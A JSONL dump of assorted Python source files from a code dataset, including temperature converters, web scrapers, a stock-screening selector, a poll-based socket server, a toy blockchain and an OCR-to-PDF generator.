+{"seq_id":"167755759","text":"''' 1. function untuk convert kelvin ke celsius dan sebaliknya. \n data type -> \n parameter: \n temperature: float\n unit: string\n return: float\n'''\ndef convert_kelvin_celsius(temperature, unit): \n ''' rumus convert celsius -> kelvin\n return -> float ''' \n if unit.lower() == 'c':\n return temperature + 273.15\n \n ''' rumus convert kelvin -> celsius\n return -> float '''\n if unit.lower() == 'k':\n return temperature - 273.15 \n\n ''' return apabila nilai unit bukan k atau c ''' \n return temperature \n\n\n''' 2. function untuk convert kelvin / celsius -> fahrenheit. \n data type -> \n parameter: \n temperature: float\n unit: string\n return: float \n'''\ndef convert_to_fahrenheit(temperature, unit): \n temp = temperature\n\n ''' return apabila nilai unit bukan k atau c ''' \n if unit.lower() != 'k' and unit.lower() != 'c': \n return temp\n\n ''' apabila parameter unit bernilai kelvin (K/k), \n maka suhu diconvert dulu ke celcius (C/c) '''\n if unit.lower() == 'k': \n temp = convert_kelvin_celsius(temperature, unit)\n\n ''' return convert celsius -> fahrenheit '''\n return (temp * 9 / 5) + 32 \n\n\n''' 3. function untuk convert fahrenheit -> kelvin / celsius. \n data type -> \n parameter: \n temperature: float\n unit: string\n return: float \n'''\ndef convert_from_fahrenheit(temperature, unit):\n ''' convert fahrenheit -> celcius '''\n if unit.lower() == 'c':\n return ((temperature - 32) * 5 / 9)\n ''' convert fahrenheit -> kelvin '''\n if unit.lower() == 'k':\n return ((temperature - 32) * 5 / 9 + 273.15)\n ''' return temperature awal, apabila nilai unit bukan c atau k '''\n return temperature\n\n\n\n# tes\nresult1 = convert_kelvin_celsius(100, 'C')\nresult2 = convert_to_fahrenheit(373.15, 'K')\nresult3 = convert_to_fahrenheit(100, 'C')\nresult4 = convert_from_fahrenheit(32, 'C')\n\nprint(result1)\nprint(result2)\nprint(result3)\nprint(result4)\n\n","sub_path":"sesi-03/027_h8ocbc_converter.py","file_name":"027_h8ocbc_converter.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"349014623","text":"import urllib.request\nimport os\nimport time\nimport pymysql\nimport pdb;\nimport sys;\nfrom crop import crop_img\nfrom env_setting import host, user, password, db\n\n# DOWNLOAD_PATH = sys.argv[1]\nCROP_PATH = sys.argv[1]\n\n\n# 각각의 카테고리 마다 몇개 다운받았는지 DB에 저장\nclass ImageDownloader:\n def __init__(self):\n self.get_connection()\n self.sharding_no = '0/'\n self.index_no = 0\n # ong = sorted(glob.glob(CROP_PATH+\"/*\"))\n\n def get_connection(self):\n is_conn_success = False\n while not is_conn_success:\n try:\n self.conn = pymysql.connect(host=host,\n user=user,\n password=password,\n db=db,\n charset='utf8',\n cursorclass=pymysql.cursors.DictCursor)\n except Exception as e:\n print(\"db connection exception occures\")\n print(e)\n continue\n\n if self.conn is not None:\n is_conn_success = True\n\n return self.conn\n\n def disconnect_connection(self):\n self.conn.close()\n\n def __del__(self):\n self.disconnect_connection()\n\n def get_all_urls(self, size=1000,offset=0):\n get_all_url_sql = 'SELECT image_idx, image_url, file_address FROM image_info WHERE status = 1 LIMIT %s OFFSET %s'\n result = list()\n\n read_success = False\n while not read_success:\n try:\n conn = self.conn\n cursor = conn.cursor()\n\n cursor.execute(get_all_url_sql, (size,offset))\n\n result = cursor.fetchall()\n\n except Exception as e:\n print(e)\n continue\n finally:\n cursor.close()\n\n read_success = True\n\n return result\n\n def get_specific_urls(self, keyword, size=1000):\n get_url_sql = 'SELECT image_idx,file_address FROM image_info WHERE status = 1 and search_keyword = %s LIMIT %s'\n result = list()\n read_success = False\n\n while not read_success:\n try:\n conn = self.conn\n cursor = conn.cursor()\n\n cursor.execute(get_url_sql, (keyword, size))\n\n result = cursor.fetchall()\n\n except Exception as e:\n print(e)\n continue\n finally:\n cursor.close()\n\n read_success = True\n\n return result\n\n def download_crop(self, addr_list):\n self.sharding_no = str(self.index_no // 1000) + \"/\"\n for url_info in addr_list:\n if url_info['image_idx'] is not None :\n file_address = url_info['file_address']\n else:\n continue\n\n # 파일명은 image_idx로 지정\n filename = str(self.index_no) + \".jpg\"\n\n\n path = os.getcwd() + CROP_PATH + \"/\" + self.sharding_no\n\n file_path = path + filename\n\n # Create when directory does not exist\n if not os.path.isdir(path):\n os.makedirs(path)\n\n # download\n is_download_success = False\n try_count = 0\n\n\n while not is_download_success:\n try:\n # download img using url\n #pdb.set_trace()\n crop_img(os.getcwd()+\"/\"+file_address,file_path,224)\n except Exception as e:\n print(e)\n # 5회 다운로드 시도 후 실패하면 다음 이미지로 넘어감\n if try_count < 5:\n print(\"download failed. try again...\")\n try_count = try_count + 1\n continue\n else:\n break\n\n is_download_success = True\n # 폴더명과 파일 이름 지정\n\n if self.index_no%100==0: print(\"%s is downloading.. \" %(file_path))\n self.sharding_no = str(self.index_no // 1000) + \"/\"\n self.index_no+=1\n\n def run_download(self, keyword=\"all\", size=1000):\n offset=0\n while True:\n start_time = time.time()\n if keyword == \"all\":\n addr_list = self.get_all_urls(size,offset)\n else:\n addr_list = self.get_specific_urls(keyword, size)\n\n if len(addr_list) == 0:\n print('no url exists')\n break\n\n print(\"url list size : \", len(addr_list))\n\n self.download_crop(addr_list)\n\n print(\"download 1000 images took %s seconds\" % (time.time() - start_time))\n offset+=size\n\n print(\"download finish\")\n\n\nif __name__ == \"__main__\":\n\n obj = ImageDownloader()\n obj.run_download(size=1000)\n","sub_path":"already.py","file_name":"already.py","file_ext":"py","file_size_in_byte":4961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"642320776","text":"import sys\nfrom scrapy.utils.project import get_project_settings\nfrom Hive.spiders.Bee import Bee\nfrom Hive.ConfigHandler import get_common\nfrom scrapy.crawler import CrawlerProcess\n\ndef run():\n print('程序启动!')\n BeeName=sys.argv[1]#获取命令行参数,爬虫名,也为配置文件名\n custom_settings=get_common(BeeName)\n #spider=custom_settings.get('spider','spiderbase')\n spider='Bee'\n project_settings=get_project_settings()\n settings=dict(project_settings.copy())\n #合并配置\n settings.update(custom_settings.get('settings'))\n process=CrawlerProcess(settings)\n process.crawl(spider,**{'BeeName':BeeName})\n process.start()\n\n\nif __name__=='__main__':\n run()\n","sub_path":"Hive_Server/Run.py","file_name":"Run.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"238078103","text":"# file_read_text1.py\n\n# 此示例示意以每次读取一行的形式读取文本文件内容\ntry:\n # 1. 打开文件\n # myf = open('myfile.txt') # 相对路径,相对code\n myf = open('/home/tarena/aid1809/pbase/day16/code/myfile.txt') # 绝对路径\n\n # 2. 读/写文件\n L = myf.readlines() # 把文件内容形成字符串列表返回回来\n print(L)\n # 3. 关闭文件\n myf.close()\nexcept OSError:\n print(\"文件打开失败\")\n\n\n","sub_path":"02-PythonBase/day17/day16_exercise/day16/code/file_read_text2.py","file_name":"file_read_text2.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"157779416","text":"from setuptools import setup\nimport sys\n\npython_min_version = (3, 6)\n\nif sys.version_info < python_min_version:\n sys.exit('pytransifex requires at least Python version {vmaj}.{vmin}.\\n'\n 'You are currently running this installation with\\n\\n{curver}'.format(\n vmaj=python_min_version[0],\n vmin=python_min_version[1],\n curver=sys.version))\n\nsetup(\n name = 'pytransifex',\n packages = [\n 'pytransifex'\n ],\n version = '0.1.7',\n description = 'Yet another Python Transifex API.',\n author = 'Denis Rouzaud',\n author_email = 'denis.rouzaud@gmail.com',\n url = 'https://github.com/opengisch/pytransifex',\n download_url = 'https://github.com/opengisch/pytransifex/archive/0.1.7.tar.gz', # I'll explain this in a second\n keywords = ['Transifex'],\n classifiers = [\n 'Topic :: Software Development :: Localization',\n 'License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)',\n 'Intended Audience :: System Administrators',\n 'Development Status :: 3 - Alpha'\n ],\n install_requires = [\n 'requests'\n ],\n python_requires=\">={vmaj}.{vmin}\".format(vmaj=python_min_version[0], vmin=python_min_version[1]),\n)\n","sub_path":"pypi_install_script/pytransifex-0.1.7.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"94691641","text":"\"\"\"\n\nQuestion:\nDefine a class with a generator which can iterate the numbers, which are divisible by 7, between a given range 0 and n.\n\nHints:\nConsider use yield\n\n\"\"\"\n\n\ndef get_number_divisible(n):\n for i in range(n):\n if i % 7 == 0:\n yield i\n\n\nresult = get_number_divisible(30)\n\nfor item in result:\n print(item)\n","sub_path":"100+ Python challenging programming exercises/Level_3/Q20.py","file_name":"Q20.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"475113645","text":"# !/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\" @author zhangbohan.dell@gmail.com\n @create 2018-03-08 9:32\n @function 爬取新浪网国内新闻的爬虫\"\"\"\nfrom datetime import datetime\nimport re\nimport json\nimport requests\n\nfrom bs4 import BeautifulSoup\nimport pandas\nimport pymysql\nfrom sqlalchemy import create_engine\n\n\ndef get_content(web_url):\n \"\"\"\n :param web_url: 获取主要内容,编辑、日期时间、标题、正文\n :return: 一个存储有以上内容的字典\n \"\"\"\n result = {}\n res = requests.get(web_url, allow_redirects=False)\n res.encoding = 'utf-8'\n soup = BeautifulSoup(res.text, 'html.parser')\n if soup.select('title')[0].text.strip() != '页面没有找到':\n result['author'] = soup.select(\".show_author\")[0].text.strip(\"责任编辑:\")\n result['content'] = ' '.join([p.text.strip() for p in soup.select('#article p')[1:-2]])\n result['title'] = soup.select('.main-title')[0].text\n timesource = soup.select('.date')[0].text\n result['timesource'] = datetime.strptime(timesource, '%Y年%m月%d日 %H:%M')\n newsid = re.search(\"doc-i(.+).shtml\", web_url).group(1)\n comments_source_url = 'http://comment5.news.sina.com.cn/page/info?version=1' \\\n '&format=json&channel=gn&newsid=comos-{}&group=undefined&' \\\n 'compress=0&ie=utf-8&oe=utf-8&page=1&page_size=3&t_size=3&' \\\n 'h_size=3&thread=1'\n comments_source = requests.get(comments_source_url.format(newsid))\n jd_temp = json.loads(comments_source.text.strip(\"var data=\"))\n result['commentcount'] = jd_temp['result']['count']['total']\n return result\n\ndef get_new_tails(newtail):\n \"\"\"\n\n :param newtail: 从api中获取新网网址列表并调用getContent()函数获取新闻内容\n :return: 一个包含有爬取内容的列表\n \"\"\"\n news_total = []\n res = requests.get(newtail)\n # 将res中的除了json外多余的js代码移除掉\n jd_temp = json.loads(res.text.lstrip(' newsloadercallback(').rstrip(');'))\n for content in jd_temp['result']['data']:\n news_total.append(get_content(content['url']))\n return news_total\n\n\nif __name__ == '__main__':\n # grabMain()\n # mysqlconnect()\n # news_total = []\n CONN = pymysql.connect(host='localhost', user='root',\n password='gj5846gj', db='greb', charset='utf8')\n ENGINE = create_engine('mysql+pymysql://root:+gj5846gj@localhost:3306/greb?charset=utf8',\n encoding='utf-8')\n for new_url in range(1, 20):\n url = \"http://api.roll.news.sina.com.cn/zt_list?channel=news&cat_1=gnxw+&\" \\\n \"cat_2==gdxw1||=gatxw||=zs-pl||=mtjj&level==1||=2&show_ext=1&show_all=1+&\" \\\n \"show_num=22&tag=1&format=json&page={}&callback=newsloadercallback&_=1520686186491\"\n newsurl = url.format(new_url)\n news = get_new_tails(newsurl)\n for i in news:\n arr = []\n arr.append(i)\n df = pandas.DataFrame(arr)\n pandas.io.sql.to_sql(df, name='sina', con=ENGINE, if_exists='append', index=False)\n CONN.close()\n","sub_path":"hack/Greb/greb.py","file_name":"greb.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"469416828","text":"# -*- coding: utf-8 -*-\n\nimport datetime\nimport multiprocessing\nimport functools\nimport os\nimport pathlib\n\nimport pandas\nimport tqdm\n\nfrom acquisition import tx\nfrom config import config\nfrom selector import util\n\nimport acquisition.basic as basic\nimport acquisition.quote_db as quote_db\n\nimport selector.plugin.step as step\nimport selector.plugin.second_wave as second_wave\nimport selector.plugin.step_breakout as step_breakout\n\nimport selector.plugin.up as up\nimport selector.plugin.down as down\nimport selector.plugin.strong_variability as strong_variability\n\nfrom selector.plugin import market_deviation, super, bull_at_bottom, second_stage, hot_strong, magic_line, \\\n base_breakout, blt, vcp, strong_base, amplitude, signal_config, bottom, volume_dry_up, breakout, finance, fund, \\\n trend_weak\nfrom selector.plugin import value_return\nfrom selector.plugin import dynamical_system\nfrom selector.plugin import force_index\nfrom util import qt_util, dt\nfrom util import util as util_util\n\nfrom . import selected\n\n# 横盘 第二波 突破 涨 跌 大涨 大跌\nfrom util.log import logger\n\nselector = {\n 'finance': finance.finance,\n 'finance_ex': finance.finance_ex,\n 'fund': fund.fund,\n 'trend_up': signal_config.mask_config,\n 'trend_weak': trend_weak.trend_weak,\n 'signal_config': signal_config.signal_config,\n 'step': step.step,\n 'step_p': step.step_p,\n '2nd': second_wave.second_wave,\n '2nd2': second_wave.second_wave2,\n 'qd': strong_variability.strong_variability,\n 'up': up.up,\n 'up_p': up.up_p,\n 'down': down.down,\n 'down_p': down.down_p,\n 'amplitude': amplitude.amplitude,\n 'bull_deviation': market_deviation.market_deviation, # 牛市背离\n 'value_return': value_return.value_return, # 价值回归\n 'value_return_ing': value_return.value_return_ing,\n 'super': super.super,\n 'second_stage': second_stage.second_stage, # 第二阶段\n 'magic_line': magic_line.magic_line,\n 'step_breakout': step_breakout.step_breakout,\n 'blt_breakout': breakout.blt_breakout,\n 'vcp_breakout': breakout.vcp_breakout,\n 'magic_line_breakout': breakout.magic_line_breakout,\n 'base_breakout': base_breakout.base_breakout,\n 'blt': blt.blt,\n 'vcp': vcp.vcp,\n 'strong_base': strong_base.strong_base,\n 'volume_dry_up': volume_dry_up.volume_dry_up,\n 'volume_shrink': volume_dry_up.volume_shrink,\n 'volume_dry_up_ing': volume_dry_up.volume_dry_up_ing,\n 'bottom': bottom.bottom,\n 'fallen': bottom.fallen,\n 'bull_at_bottom': bull_at_bottom.bull_at_bottom,\n 'dyn_sys_green': dynamical_system.dynamical_system_green,\n 'dyn_sys_red': dynamical_system.dynamical_system_red,\n 'dyn_sys_blue': dynamical_system.dynamical_system_blue,\n 'hot_strong': hot_strong.hot_strong,\n 'force_index_p': force_index.force_index_positive,\n 'force_index_m': force_index.force_index_minus\n}\n\n\ndef get_strategy_status(strategy):\n for status, strategy_info in config.strategy_map.items():\n if strategy in strategy_info['strategies']:\n return status\n raise Exception('{} is UNKNOWN'.format(strategy))\n\n\ndef get_status_backdays(status):\n strategy_info = config.strategy_map[status]\n return strategy_info['back_day']\n\n\ndef is_match(df, strategy_name, period):\n if util.filter_quote(df):\n return False\n\n status = get_strategy_status(strategy_name)\n backdays = get_status_backdays(status)\n rc = selector.get(strategy_name)(df, period, backdays)\n if rc:\n return True\n\n return False\n\n\ndef dump(data, file):\n # file = gen_cache_path(data.code[-1], datetime.date.today(), period)\n if os.path.exists(file):\n os.remove(file)\n\n if 'date' not in data.columns:\n data.insert(len(data.columns), 'date', data.index)\n\n data.to_csv(file)\n\n\ndef load(file):\n # file = gen_cache_path(code, datetime.date.today(), period)\n data = pandas.read_csv(file, dtype={'code': str})\n\n data['date'] = pandas.to_datetime(data['date'], format='%Y-%m-%d %H:%M:%S')\n # data['code'] = str(data['code'])\n # 将日期列作为行索引\n data.set_index(['date'], inplace=True)\n # data.sort_index(ascending=True, inplace=True)\n\n return data\n\n\ndef _select(strategy_name, period, code_day_quote):\n import util.mysqlcli as mysqlcli\n # _conn = mysqlcli.get_connection()\n\n code, day_quote = code_day_quote\n df = quote_db.get_price_info_df_db(code, days=1000, period_type='D')\n if df.empty:\n logger.info(code, 'no quote')\n return\n\n # 无法频繁获取数据\n if day_quote is not None:\n df = df.append(day_quote)\n\n ret = None\n if is_match(df, strategy_name, period):\n # print('{}'.format(code))\n ret = code\n\n # _conn.close()\n\n return ret\n\n\ndef select_one_strategy(code_list, strategy_name, period, options):\n \"\"\"\n https://docs.python.org/3/library/multiprocessing.html\n This means that if you try joining that process you may get a deadlock\n unless you are sure that all items which have been put on the queue have been consumed.\n Similarly, if the child process is non-daemonic then the parent process may hang on exit\n when it tries to join all its non-daemonic children.\n\n Note that a queue created using a manager does not have this issue.\n \"\"\"\n\n logger.info('[{}] to check [{}]...'.format(len(code_list), strategy_name))\n\n day_quote = None\n\n mp = options['selector_mp']\n use_rt_quote = options['selector_rt_quote']\n if use_rt_quote and dt.istradetime():\n cache_dir = util_util.get_cache_dir()\n cache = os.path.join(cache_dir, 'day_quote_{}.csv'.format(datetime.datetime.now().strftime('%Y%m%d')))\n has_cache = False\n if os.path.exists(cache):\n fname = pathlib.Path(cache)\n if (datetime.datetime.now() - datetime.datetime.fromtimestamp(fname.stat().st_mtime)).seconds > 5 * 60:\n os.remove(cache)\n else:\n has_cache = True\n\n if has_cache:\n day_quote = load(cache)\n else:\n day_quote = tx.get_today_all()\n dump(day_quote, cache)\n\n df_ = quote_db.get_price_info_df_db('000001', days=1, period_type='D')\n for column in day_quote.columns:\n if column not in df_.columns:\n day_quote = day_quote.drop([column], axis=1)\n\n select_func = functools.partial(_select, strategy_name, period)\n\n r = []\n if not mp:\n for code in code_list:\n if not select_func((code, None if day_quote is None else day_quote.loc[day_quote.code == code])):\n continue\n r.append(code)\n return r\n\n nproc = multiprocessing.cpu_count()\n with multiprocessing.Pool(nproc) as p:\n # r = p.map(select_func, [code for code in code_list])\n # code_list = [code for code in r if code]\n\n # for i, _ in enumerate(p.imap_unordered(select_func, [code for code in code_list]), 1):\n # r.append(_)\n # if i % 100 == 0:\n # sys.stderr.write('\\rdone {0:%}'.format(i/len(code_list)))\n arg = [(code, None if day_quote is None else day_quote.loc[day_quote.code == code]) for code in code_list]\n for _ in tqdm.tqdm(p.imap_unordered(select_func, arg),\n total=len(code_list), ncols=64):\n r.append(_)\n\n code_list = [code for code in r if code]\n\n logger.info('{}: {}'.format(strategy_name, len(code_list)))\n\n return code_list\n\n\ndef update_candidate_pool(strategy_list, period='day'):\n t1 = datetime.datetime.now()\n msg = ''\n options = config.get_config_options()\n for strategy in strategy_list:\n code_list = basic.get_all_stock_code()\n # code_list = ['600331']\n code_list = select_one_strategy(code_list, strategy, period, options)\n # 科创板\n # code_list = [code for code in code_list if not code.startswith('688')]\n msg += '{}: {}\\n'.format(strategy, len(code_list))\n basic.upsert_candidate_pool(code_list, 'candidate', strategy, ignore_duplicate=False)\n\n t2 = datetime.datetime.now()\n cost = (t2 - t1).seconds\n qt_util.popup_info_message_box_mp('update candidate finished in [{}s]\\n{}'.format(cost, msg))\n\n\ndef select(strategy_name_list, candidate_list=None, traced_list=None, period='day'):\n begin = datetime.datetime.now()\n\n code_list = []\n if candidate_list:\n if config.update_candidate_pool:\n update_candidate_pool(candidate_list)\n code_list = basic.get_candidate_stock_code(candidate_list)\n\n if traced_list:\n code_list.extend(basic.get_traced_stock_code(traced_list))\n\n if not code_list:\n code_list = basic.get_all_stock_code()\n # code_list = future.get_future_contract_list()\n # 科创板\n # code_list = [code for code in code_list if int(code[:2]) <= 60]\n # code_list = ['000408']\n\n options = config.get_config_options()\n strategy_name_list = config.get_scan_strategy_name_list() if not strategy_name_list else strategy_name_list\n for strategy_name in strategy_name_list:\n code_list = select_one_strategy(code_list, strategy_name, period, options)\n # for code in code_list:\n # selected.add_selected(code, strategy_name)\n # code_list = ['002109']\n status = 'traced' if strategy_name in config.traced_strategy_list else 'allow_buy'\n basic.upsert_candidate_pool(code_list, status, strategy_name, ignore_duplicate=False)\n logger.info(strategy_name, code_list)\n\n # code_list.append('300502')\n code_list.sort()\n\n stock_list = []\n for code in code_list:\n stock_list.append((code, basic.get_stock_name(code)))\n\n end = datetime.datetime.now()\n cost = (end - begin).seconds\n\n log = '\\n'.join([' '.join(t) for t in stock_list])\n with open(config.scan_log_path, 'a') as f:\n f.writelines('[{}] cost [{}s] [{}][{}] [{}]'.format(\n begin, cost, ', '.join(candidate_list), ', '.join(strategy_name_list), len(stock_list)))\n f.writelines('\\n')\n f.writelines(log)\n f.writelines('\\n\\n')\n\n qt_util.popup_info_message_box_mp('scan finished in [{}s]\\ntotal: {}'.format(cost, len(stock_list)))\n","sub_path":"selector/selector.py","file_name":"selector.py","file_ext":"py","file_size_in_byte":10213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"572655207","text":"import select\nimport socket\nimport sys\nimport Queue\n\n# Create a TCP/IP socket\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.setblocking(0)\n\n# Bind the socket to the port\nserver_address = ('localhost', 10000)\nprint >>sys.stderr, 'starting up on %s port %s' % server_address\nserver.bind(server_address)\n\n# Listen for incoming connections\nserver.listen(5)\n\n# Keep up with the queues of outgoing messages\nmessage_queues = {}\n\n\n# The timeout value passed to poll() is represented in milliseconds,\nTIMEOUT = 1000\n\n\"\"\"\nPOLLIN Input ready\nPOLLPRI Priority input ready\nPOLLOUT Able to receive output\nPOLLERR Error\nPOLLHUP Channel closed\nPOLLNVAL Channel not open\n\"\"\"\nREAD_ONLY = select.POLLIN | select.POLLPRI | select.POLLHUP | select.POLLERR\nREAD_WRITE = READ_ONLY | select.POLLOUT\n\n# Set up the poller\npoller = select.poll()\npoller.register(server, READ_ONLY)\n\n# Since poll() returns a list of tuples containing the file descriptor for the socket and the event flag, a mapping from file descriptor numbers to objects is needed to retrieve the socket to read or write from it\n\n# Map file descriptors to socket objects\nfd_to_socket = { server.fileno(): server}\n\n\nwhile True:\n\n # Wait for at least one of the sockets to be ready for processing\n print >>sys.stderr, '\\nwaiting for the next event'\n events = poller.poll(TIMEOUT)\n\n # The server’s loop calls poll(), then processes the “events” returned by looking up the socket and taking action based on the flag in the event.\n for fd, flag in events:\n\n # Retrieve the actual socket from its file descriptor\n s = fd_to_socket[fd]\n\n if flag & (select.POLLIN | select.POLLPRI):\n\n if s is server:\n # A \"readable\" server socket is ready to accept a connection\n connection, client_address = s.accept()\n print >>sys.stderr, 'new connection from', client_address\n connection.setblocking(0)\n fd_to_socket[ connection.fileno() ] = connection\n poller.register(connection, READ_ONLY)\n\n # Give the connection a queue for data we want to send\n message_queues[connection] = Queue.Queue()\n else:\n data = s.recv(1024)\n if data:\n # A readable client socket has data\n print >>sys.stderr, 'received \"%s\" from %s' % (data, s.getpeername())\n message_queues[s].put(data)\n # Add output channel for response\n poller.modify(s, READ_WRITE)\n else:\n # Interpret empty result as closed connection\n print >>sys.stderr, 'closing', client_address, 'after reading no data'\n # Stop listening for input on the connection\n poller.unregister(s)\n s.close()\n\n # Remove message queue\n del message_queues[s]\n elif flag & select.POLLHUP:\n # Client hung up\n print >>sys.stderr, 'closing', client_address, 'after receiving HUP'\n # Stop listening for input on the connection\n poller.unregister(s)\n s.close()\n elif flag & select.POLLOUT:\n # Socket is ready to send data, if there is any to send.\n # The handling for writable sockets looks like the version used in the example for select(), except that modify() is used to change the flags for the socket in the poller, instead of removing it from the output list.\n try:\n next_msg = message_queues[s].get_nowait()\n except Queue.Empty:\n # No messages waiting so stop checking for writability.\n print >>sys.stderr, 'output queue for', s.getpeername(), 'is empty'\n poller.modify(s, READ_ONLY)\n else:\n print >>sys.stderr, 'sending \"%s\" to %s' % (next_msg, s.getpeername())\n s.send(next_msg)\n elif flag & select.POLLERR:\n print >>sys.stderr, 'handling exceptional condition for', s.getpeername()\n # Stop listening for input on the connection\n poller.unregister(s)\n s.close()\n\n # Remove message queue\n del message_queues[s]\n","sub_path":"python-network-cookbook/ch02/poll_server_mode.py","file_name":"poll_server_mode.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"38526842","text":"from django.conf.urls import url \nfrom . import views\n \nurlpatterns = [ \n url(r'^api/create-user', views.create_user),\n url(r'^api/login-user', views.login_user),\n url(r'^api/payment-intent', views.payment_intent),\n url(r'^api/airports-list', views.airports_list),\n url(r'^api/availability-list', views.get_availability),\n url(r'^api/calc-price', views.calc_price),\n url(r'^api/payment-done', views.payment_done),\n url(r'^api/get-upcoming-bookings', views.get_upcoming_bookings),\n url(r'^api/get-past-bookings', views.get_past_bookings),\n url(r'^api/cancel-booking', views.cancel_booking)\n]","sub_path":"airpark/airpark_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"299038414","text":"# encoding: utf-8\n\nfrom sqlite_wrapper import SQLiteWrapper\n\n\nclass Querier(object):\n def __init__(self, path='lianjia-xq.db'):\n self.table = 'ershou_latest'\n self.db = SQLiteWrapper(path)\n\n def get_ershou_by_xiaoqu(self, xiaoqu):\n sql = u'select * from {} where xiaoqu = \"{}\"'.format(self.table, xiaoqu)\n res = self.db.fetchall(sql)\n if len(res) > 0:\n return res\n else:\n sql = u'select * from {} where xiaoqu like \"%{}%\"'.format(self.table, xiaoqu)\n return self.db.fetchall(sql)\n\n\nif __name__ == '__main__':\n q = Querier()\n","sub_path":"spider/info_query.py","file_name":"info_query.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"47863261","text":"#!/usr/bin/env python\r\n# coding: utf-8\r\n\r\n# In[1]:\r\nimport hashlib\r\n\r\n\r\n# In[2]:\r\n\r\n\r\nclass CatCoinBlock:\r\n \r\n def __init__(self, previous_block_hash, transaction_list):\r\n self.previous_block_hash = previous_block_hash\r\n self.transaction_list = transaction_list\r\n \r\n self.block_data = \" - \".join(transaction_list) + \" - \" + previous_block_hash\r\n self.block_hash = hashlib.sha256(self.block_data.encode()).hexdigest()\r\n \r\nt1 = \"Milan sends 20 CC to Hwieun\" \r\nt2 = \"Milan sends 2.1 CC to Yuta\" \r\nt3 = \"Yuta sends 13 CC to Hwieun\"\r\nt4 = \"Yuta sends 8 CC to Milan\"\r\nt5 = \"Hwieun sends 9 CC to Milan\"\r\nt6 = \"Hwieun sends 22 CC to Yuta\" \r\n\r\nt_list = [[t1, t2], [t3, t4], [t5, t6]]\r\n\r\n#contains a list of instances\r\nblocks = [] \r\n\r\n#creating genesis block\r\nblocks.append(CatCoinBlock(\"Initial String\", t_list[0]))\r\n\r\n\r\n#creating rest of the block\r\nfor i in range(1, 3):\r\n blocks.append(CatCoinBlock(blocks[i-1].block_hash, t_list[i]))\r\n\r\n\r\n# In[3]:\r\n\r\n\r\nfor i in range(0, 3):\r\n print(blocks[i].block_data)\r\n print(blocks[i].block_hash) \r\n print(\"\\n\")\r\n\r\n\r\n# In[4]:\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Untitled.py","file_name":"Untitled.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"285200431","text":"import os\nfrom reportlab.platypus import Paragraph, SimpleDocTemplate, Spacer \nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle \nfrom reportlab.lib.enums import TA_CENTER,TA_JUSTIFY \nfrom reportlab.lib.fonts import addMapping\nfrom reportlab.lib.pagesizes import letter, A4\nfrom reportlab.pdfgen import canvas\n\nfrom src.format_parser import OCROutputParser\nfrom src.utils.helpers import Helpers\nfrom fonts.font_utils import FontUtils\n\nclass OCRDocumentGenerator(object):\n def __init__(self, input_filepath):\n self.input_filepath = input_filepath\n self.ocrOutputParser = OCROutputParser(input_filepath)\n\n def get_page_dimensions(self, page):\n _, _, w, h = Helpers.vertices_to_boundingbox(page['page_info']['page_boundingBox']['vertices'])\n return w, h\n\n def draw_line_text(self, page_canvas, x, y, text, word_space=1.75, horizontal_scale=105, font_name=None, font_size=8):\n txtobj = page_canvas.beginText()\n txtobj.setTextOrigin(x, y)\n txtobj.setWordSpace(word_space)\n txtobj.setHorizScale(horizontal_scale)\n txtobj.setFont(font_name, font_size)\n txtobj.textLine(text=text)\n page_canvas.drawText(txtobj)\n \n def create_pdf(self, pages, pdf_filepath, font_name, font_size=40, scale_factor=4):\n '''\n using first page w & h as canvas\n '''\n w, h = self.get_page_dimensions(pages[0])\n pagesize = (w/scale_factor, h/scale_factor)\n c = canvas.Canvas(pdf_filepath, pagesize=pagesize)\n for page in pages:\n paragraphs, lines = self.ocrOutputParser.get_page_paragraphs_lines(page)\n \n for line in lines:\n boundingBox, text = line['boundingBox'], line['text']\n x, y, _, _ = boundingBox\n y = h - y\n self.draw_line_text(c, x/scale_factor, y/scale_factor, text, 1.75, 105, font_name, font_size/scale_factor)\n c.showPage()\n c.save()\n\n def generate(self, output_filepath):\n font_name = 'arial-unicode-ms'\n FontUtils.load_font(font_name)\n\n pages = self.ocrOutputParser.get_document_pages()\n self.create_pdf(pages, output_filepath, font_name, 34, 4)\n print('created {} pages PDF at {}'.format(len(pages), output_filepath))","sub_path":"docservice/src/document_generator/ocr_doc_generator.py","file_name":"ocr_doc_generator.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
